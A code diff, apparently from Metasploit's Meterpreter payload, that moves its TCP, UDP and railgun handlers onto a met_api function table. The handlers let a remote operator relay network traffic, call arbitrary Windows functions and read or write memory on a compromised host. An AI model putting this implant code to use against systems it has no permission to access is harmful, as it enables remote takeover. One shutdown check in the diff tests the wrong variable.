@ -244,8 +245,8 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
}
// Extract the hostname and port that we are to connect to
host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST);
port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT);
host = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEER_HOST);
port = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT);
// Open the TCP channel
if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel, &ctx)) != ERROR_SUCCESS)
@ -254,13 +255,13 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
}
// Set the channel's identifier on the response
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(channel));
net_tlv_pack_local_addrinfo(ctx, response);
} while (0);
// Transmit the response
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
@ -355,7 +356,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort);
// Allocate an uninitialized channel for associated with this connection
if (!(channel = channel_create_stream(0, 0, &chops)))
if (!(channel = met_api->channel.create_stream(0, 0, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
@ -372,7 +373,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE);
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify);
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
}
} while (0);
@ -426,7 +427,7 @@ VOID free_socket_context(SocketContext *ctx)
if (ctx->channel)
{
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL);
ctx->channel = NULL;
}
@ -434,7 +435,7 @@ VOID free_socket_context(SocketContext *ctx)
{
dprintf("[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
// The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_signal_waitable(ctx->notify, Stop);
met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop);
ctx->notify = NULL;
}
@ -462,16 +463,16 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
do
{
dprintf("[TCP] entering request_net_socket_tcp_shutdown");
response = packet_create_response(packet);
response = met_api->packet.create_response(packet);
if (!response)
{
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
}
cid = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
cid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
how = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
channel = channel_find_by_id(cid);
channel = met_api->channel.find_by_id(cid);
if (!response)
{
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE);
@ -479,7 +480,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
dprintf("[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid);
ctx = channel_get_native_io_context(channel);
ctx = met_api->channel.get_native_io_context(channel);
if (!ctx)
{
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE);
@ -498,7 +499,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
} while (0);
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
dprintf("[TCP] leaving request_net_socket_tcp_shutdown");

View File

@ -3,6 +3,7 @@
* @brief
*/
#include "precomp.h"
#include "common_metapi.h"
#include "tcp.h"
#include <ws2tcpip.h>
@ -40,13 +41,13 @@ VOID free_tcp_server_context(TcpServerContext * ctx)
if (ctx->channel)
{
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL);
ctx->channel = NULL;
}
if (ctx->notify)
{
scheduler_signal_waitable(ctx->notify, Stop);
met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop);
ctx->notify = NULL;
}
@ -84,7 +85,7 @@ DWORD tcp_channel_server_close(Channel * channel, Packet * request, LPVOID conte
free_tcp_server_context(ctx);
// Set the native channel operations context to NULL
channel_set_native_io_context(channel, NULL);
met_api->channel.set_native_io_context(channel, NULL);
} while (0);
@ -138,13 +139,13 @@ TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx
chops.native.write = tcp_channel_client_write;
chops.native.close = tcp_channel_client_close;
clientctx->channel = channel_create_stream(0, 0, &chops);
clientctx->channel = met_api->channel.create_stream(0, 0, &chops);
if (!clientctx->channel)
{
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE);
}
dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
dwResult = met_api->scheduler.insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
} while (0);
@ -204,7 +205,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed");
}
dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock);
dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", met_api->channel.get_id(serverCtx->channel), sock);
clientctx = tcp_channel_server_create_client(serverCtx, sock);
if (!clientctx)
@ -245,20 +246,20 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport);
request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
request = met_api->packet.create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
if (!request)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE);
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. met_api->packet.create failed", ERROR_INVALID_HANDLE);
}
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel));
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel));
packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(clientctx->channel));
met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, met_api->channel.get_id(serverCtx->channel));
met_api->packet.add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
met_api->packet.add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
met_api->packet.add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
met_api->packet.add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
dwResult = packet_transmit(serverCtx->remote, request, NULL);
dwResult = met_api->packet.transmit(serverCtx->remote, request, NULL);
} while (0);
@ -284,7 +285,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
do
{
response = packet_create_response(packet);
response = met_api->packet.create_response(packet);
if (!response)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
@ -300,8 +301,8 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
ctx->remote = remote;
localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);
localPort = (USHORT)(met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
localHost = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);
ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
if (ctx->fd == INVALID_SOCKET)
@ -368,22 +369,22 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
chops.native.context = ctx;
chops.native.close = tcp_channel_server_close;
ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
ctx->channel = met_api->channel.create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
if (!ctx->channel)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
}
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);
met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->channel));
net_tlv_pack_local_addrinfo(ctx, response);
dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel));
dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, met_api->channel.get_id(ctx->channel));
} while (0);
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
do
{
@ -408,7 +409,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
if (ctx->channel)
{
dprintf("[TCP-SERVER] Destroying channel");
channel_destroy(ctx->channel, packet);
met_api->channel.destroy(ctx->channel, packet);
}
free(ctx);

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include "udp.h"
/*
@ -22,7 +23,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP
if( !ctx )
BREAK_WITH_ERROR( "[UDP] udp_channel_write. ctx == NULL", ERROR_INVALID_HANDLE );
rport = (USHORT)( packet_get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF );
rport = (USHORT)( met_api->packet.get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF );
if( !rport )
{
rport = ctx->peerport;
@ -30,7 +31,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP
BREAK_WITH_ERROR( "[UDP] udp_channel_write. A peer port must be specified", ERROR_INVALID_PARAMETER );
}
host = packet_get_tlv_value_string( request, TLV_TYPE_PEER_HOST );
host = met_api->packet.get_tlv_value_string( request, TLV_TYPE_PEER_HOST );
if( !host )
{
rhost = ctx->peerhost.s_addr;
@ -121,7 +122,7 @@ VOID free_udp_context( UdpSocketContext * ctx )
if( ctx->sock.channel )
{
channel_close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL );
met_api->channel.close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL );
ctx->sock.channel = NULL;
}
@ -129,7 +130,7 @@ VOID free_udp_context( UdpSocketContext * ctx )
{
dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify );
// The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_signal_waitable( ctx->sock.notify, Stop );
met_api->scheduler.signal_waitable( ctx->sock.notify, SchedulerStop );
ctx->sock.notify = NULL;
}
@ -177,7 +178,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx )
{
dprintf( "[UDP] udp_channel_notify. channel=0x%08X is being gracefully closed...", ctx->sock.channel );
channel_set_native_io_context( ctx->sock.channel, NULL );
met_api->channel.set_native_io_context( ctx->sock.channel, NULL );
Sleep( 250 );
@ -210,7 +211,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx )
dprintf( "[UDP] udp_channel_notify. Data on channel=0x%08X, read %d bytes from %s:%d", ctx->sock.channel, dwBytesRead, cpPeerHost, ntohs( from.sin_port ) );
channel_write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL );
met_api->channel.write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL );
}
} while( 0 );
@ -240,7 +241,7 @@ DWORD udp_channel_close( Channel * channel, Packet * request, LPVOID context )
free_udp_context( ctx );
// Set the native channel operations context to NULL
channel_set_native_io_context( channel, NULL );
met_api->channel.set_native_io_context( channel, NULL );
} while( 0 );
@ -263,7 +264,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
do
{
response = packet_create_response( packet );
response = met_api->packet.create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
@ -275,21 +276,21 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
ctx->sock.remote = remote;
ctx->localport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF );
ctx->localport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF );
if( !ctx->localport )
ctx->localport = 0;
ctx->peerport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF );
ctx->peerport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF );
if( !ctx->peerport )
ctx->peerport = 0;
lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST );
lhost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST );
if( lhost )
ctx->localhost.s_addr = inet_addr( lhost );
else
ctx->localhost.s_addr = INADDR_ANY;
phost = packet_get_tlv_value_string( packet, TLV_TYPE_PEER_HOST );
phost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_PEER_HOST );
if( phost )
{
dprintf( "[UDP] request_net_udp_channel_open. phost=%s", phost );
@ -319,20 +320,20 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
chops.native.write = udp_channel_write;
chops.native.close = udp_channel_close;
ctx->sock.channel = channel_create_datagram( 0, 0, &chops );
ctx->sock.channel = met_api->channel.create_datagram( 0, 0, &chops );
if( !ctx->sock.channel )
BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
scheduler_insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL );
met_api->scheduler.insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL );
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) );
met_api->packet.add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->sock.channel) );
net_tlv_pack_local_addrinfo( &ctx->sock, response );
dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", channel_get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport );
dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", met_api->channel.get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport );
} while( 0 );
packet_transmit_response( dwResult, remote, response );
met_api->packet.transmit_response( dwResult, remote, response );
do
{
@ -346,7 +347,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
closesocket( ctx->sock.fd );
if( ctx->sock.channel )
channel_destroy( ctx->sock.channel, packet );
met_api->channel.destroy( ctx->sock.channel, packet );
free( ctx );

View File

@ -19,7 +19,6 @@
#include "railgun/railgun.h" // PKS, win32 specific at the moment.
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
// declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c

View File

@ -29,6 +29,7 @@
*/
#include "precomp.h"
#include "common_metapi.h"
#include "railgun.h"
// Gives me a copy of a data item of type TLV_META_TYPE_RAW
@ -37,8 +38,8 @@
BYTE * getRawDataCopy(Packet *packet,TlvType type, DWORD * size){
Tlv tlv;
BYTE * bufferCopy;
if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS){
dprintf("getRawDataCopy: packet_get_tlv failed");
if (met_api->packet.get_tlv(packet, type, &tlv) != ERROR_SUCCESS){
dprintf("getRawDataCopy: met_api->packet.get_tlv failed");
*size = 0;
return NULL;
}
@ -56,8 +57,8 @@ BYTE * getRawDataCopyFromGroup(Packet *packet, Tlv *group, TlvType type, DWORD *
Tlv tlv;
BYTE * bufferCopy;
if( packet_get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) {
dprintf("getRawDataCopyFromGroup: packet_get_tlv failed");
if( met_api->packet.get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) {
dprintf("getRawDataCopyFromGroup: met_api->packet.get_tlv failed");
*size = 0;
return NULL;
}
@ -361,7 +362,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput )
// Multi-request railgun API
DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
{
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
DWORD index = 0;
Tlv reqTlv = {0};
@ -374,7 +375,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
dprintf( "[RAILGUN] request_railgun_api_multi: processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length);
while( packet_enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS )
while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS )
{
dprintf( "[RAILGUN] request_railgun_api_multi: index=%d", index );
@ -384,7 +385,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
do
{
// get ths inputs for this call...
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS )
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS )
{
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_SIZE_OUT" );
break;
@ -406,7 +407,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
break;
}
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS )
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS )
{
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_DLLNAME" );
break;
@ -419,7 +420,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
break;
}
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS )
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS )
{
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_FUNCNAME" );
break;
@ -433,7 +434,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
}
rInput.cpCallConv = "stdcall";
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS )
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS )
{
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_CALLCONV, defaulting to stdcall" );
}
@ -442,9 +443,9 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
rInput.cpCallConv = (PCHAR)tmpTlv.buffer;
}
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS )
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS )
{
dprintf( "[RAILGUN] request_railgun_api_multi: packet_get_tlv_group_entry failed" );
dprintf( "[RAILGUN] request_railgun_api_multi: met_api->packet.get_tlv_group_entry failed" );
break;
}
@ -477,7 +478,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
tlvs[5].buffer = (PUCHAR)rOutput.pErrMsg;
}
packet_add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 );
met_api->packet.add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 );
} while(0);
@ -496,7 +497,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
LocalFree( (HLOCAL)rOutput.pErrMsg );
}
packet_transmit_response( ERROR_SUCCESS, remote, response );
met_api->packet.transmit_response( ERROR_SUCCESS, remote, response );
dprintf( "[RAILGUN] request_railgun_api_multi: Finished." );
@ -516,7 +517,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
do
{
pResponse = packet_create_response( pPacket );
pResponse = met_api->packet.create_response( pPacket );
if( !pResponse )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: !pResponse", ERROR_INVALID_HANDLE );
@ -524,7 +525,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
memset( &rOutput, 0, sizeof(RAILGUN_OUTPUT) );
// Prepare the OUT-Buffer (undefined content)
rInput.dwBufferSizeOUT = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT );
rInput.dwBufferSizeOUT = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT );
// get the IN-Buffer
rInput.pBufferIN = getRawDataCopy( pPacket,TLV_TYPE_RAILGUN_BUFFERBLOB_IN, (DWORD *)&rInput.dwBufferSizeIN);
@ -537,22 +538,22 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT", ERROR_INVALID_PARAMETER );
// Get cpDllName
rInput.cpDllName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME );
rInput.cpDllName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME );
if( !rInput.cpDllName )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME", ERROR_INVALID_PARAMETER );
// Get cpFuncName
rInput.cpFuncName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME );
rInput.cpFuncName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME );
if( !rInput.cpFuncName )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME", ERROR_INVALID_PARAMETER );
// Get cpCallConv
rInput.cpCallConv = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV );
rInput.cpCallConv = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV );
if( !rInput.cpCallConv )
rInput.cpCallConv = "stdcall";
// get the pStack-description (1 ULONG_PTR description, 1 ULONG_PTR data)
if( packet_get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS)
if( met_api->packet.get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS)
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_STACKBLOB", ERROR_INVALID_PARAMETER );
dwResult = railgun_call( &rInput, &rOutput );
@ -563,10 +564,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
{
if( dwResult == ERROR_SUCCESS )
{
packet_add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError );
packet_add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue );
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT );
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT );
met_api->packet.add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError );
met_api->packet.add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue );
met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT );
met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT );
// There are cases where FormatMessage is failing for various functions on various platforms.
// eg. inet_addr() on Windows XP SP3 x86 and NetGetJoinInformation() on Windows 8 x64
@ -580,10 +581,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
pErrorMsg = "FormatMessage failed to retrieve the error.";
}
packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg );
met_api->packet.add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg );
}
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
}
if( rInput.pBufferIN )
@ -620,15 +621,15 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket )
do
{
pResponse = packet_create_response( pPacket );
pResponse = met_api->packet.create_response( pPacket );
if( !pResponse )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !pResponse", ERROR_INVALID_HANDLE );
lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
if( !lpAddress )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !lpAddress", ERROR_INVALID_PARAMETER );
dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
if( !dwLength )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !dwLength", ERROR_INVALID_PARAMETER );
@ -650,9 +651,9 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket )
if( pResponse )
{
if( pData )
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength );
met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength );
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
}
if( pData )
@ -678,19 +679,19 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket )
do
{
pResponse = packet_create_response( pPacket );
pResponse = met_api->packet.create_response( pPacket );
if( !pResponse )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pResponse", ERROR_INVALID_HANDLE );
